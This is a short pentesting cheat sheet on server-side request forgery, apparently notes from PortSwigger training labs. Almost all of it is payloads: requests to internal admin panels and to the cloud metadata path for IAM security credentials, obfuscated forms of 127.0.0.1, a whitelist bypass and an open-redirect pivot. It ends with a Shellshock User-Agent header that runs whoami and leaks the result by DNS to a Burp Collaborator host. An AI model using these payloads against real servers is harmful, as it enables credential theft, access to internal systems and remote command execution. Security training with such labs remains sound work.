**SSRF:** induces the server-side application to make requests to an unintended internal-only location or external location (for leaking sensitive data)

Find all URL-Input: find “http”

- <http://localhost/admin>

- [http://192.168.0.1-255:**8080**/admin](http://192.168.0.1-255:8080/admin)

- /latest/meta-data/iam/security-credentials/admin/

* Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.
* (double) URL encoding of “admin” or case variation.

- circumvent white-list <http://localhost#@vulnerable-website.net/admin>, (double) encode the #

- using open redirect: /openRedirectURL?newPath=http://192.168.0.12:8080/admin

**Blind SSRF**: response from the back-end request is not returned to the user

Use Burp Collaborator Client to host a server: if the test system sends DNS/HTTP-Request to Burp Collaborator Client -> vulnerable

- change URL in Referer Header

- read os name <https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation>

Referer: http://192.168.0.1-255:8080

User-Agent: () { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN